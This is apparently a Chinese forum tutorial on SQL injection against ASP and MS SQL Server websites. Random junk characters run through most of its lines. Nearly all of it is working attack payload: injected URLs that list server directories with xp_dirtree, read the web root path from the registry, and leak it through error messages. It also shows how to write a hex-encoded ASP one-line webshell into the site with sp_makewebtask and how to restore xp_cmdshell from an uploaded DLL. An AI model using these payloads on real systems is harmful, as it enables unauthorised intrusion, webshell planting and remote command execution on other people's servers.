好,我们exec master..xp_dirtree'd:/test'
; X4 b0 k/ H# q) m5 t3 v- M3 {假设我们在test里有两个文件夹test1和test2在test1里又有test3
6 b; L; Y/ G- q9 ?# E3 T结果显示' z' e( L* t6 L. b. o9 ? l: x. u8 C
' n2 F6 F' u" Z Z9 [
subdirectory depth
% Z8 ~0 C+ \- L7 }( @! htest1 1
' M/ G1 u! C# }9 U3 r' mtest3 25 f# Z7 ?! n+ F# s+ o+ [
test2 1
& I5 Y# r: K, o+ c7 d" |+ h$ x$ c% G! O$ G
哈哈发现没有那个depth就是目录的级数0 I4 h t9 B8 T
ok了,知道怎么办了吧
+ P9 _! F/ `! U6 e( r5 k
, r [; O9 i3 T! O, }3 bhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 8 p; e n. j) d( D$ w' g& E! k
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- # J& T6 C) H% \
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
! c2 L; i1 k0 \# c3 e( F; l; z8 u; @, N' O! H7 i& p
只要加上id=1,就是第一级目录 。- V4 i+ N/ R T7 B
9 b7 \$ @6 \7 z* n. T) _
" Z( ?& Y! I2 H# z
通过注册表读网站路径:
4 L6 }5 x7 |. C. S) g8 K) f# W0 \* A9 `% ^( F3 ~
1.;create table [dbo].[cyfd] ([gyfd][char](255));0 U( @. ?" L: q& F: n
' q' \8 E( ~. R2 a, d Q2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--1 p" U, n( T, I# H9 E6 e- g9 [
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
: O( t+ G+ |) C. P9 ?5 q5 m+ f; g# b% O8 _* m) n% r
3.and 1=(select count(*) from 临时表 where 临时字段名>1)( B1 ^3 o' g! ]! k. S: }/ f
and 1=(select count(*) from cyfd where gyfd > 1) ) f1 E8 Q: n2 }" ? O7 u- B+ b
这样IE报错,就把刚才插进去的Web路径的值报出来了( W4 F2 x4 a( Y! J; T2 T
& y# B" Q. z3 o- g
4.drop table cyfd;-- 删除临时表
3 ^* O$ A0 t! H0 @4 e; l* e
3 V. y- {' _8 t! o& a; z, X# l# O获得webshell方法:. q4 s2 R' Y! f' ?
1.create table cmd (a image)-- \**cmd是创建的临时表$ X; k# @0 J( o/ p+ D8 V; q
* A0 X0 T5 _+ d; {9 C+ Z4 X2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
o7 \* r7 ?! ~! q9 D& I2 k6 e8 \, B$ z
/ X! n) L8 {/ G; w# |4 D1 @! t; [8 b
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
& ]1 @, G* R/ [7 X" g$ J0 ~EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
' o% O$ c% }* C# a0 K7 t+ L: @' H4 o% P) n
4.drop table cmd;-- 删除cmd临时表
# {/ z" h9 a1 C* K7 G/ o# h6 b' W. O$ e6 m9 y* Y$ w
恢复xp_cmdshell方法之一:
' @3 ~$ r" P" D7 Q; f* ~我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
; P1 m" T- m' z, h3 Bhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
/ W5 e; {! y" M+ Q7 D* {恢复,支持绝对路径的恢复哦。:)
" P5 b. r2 A7 y Q- T, A% A: X |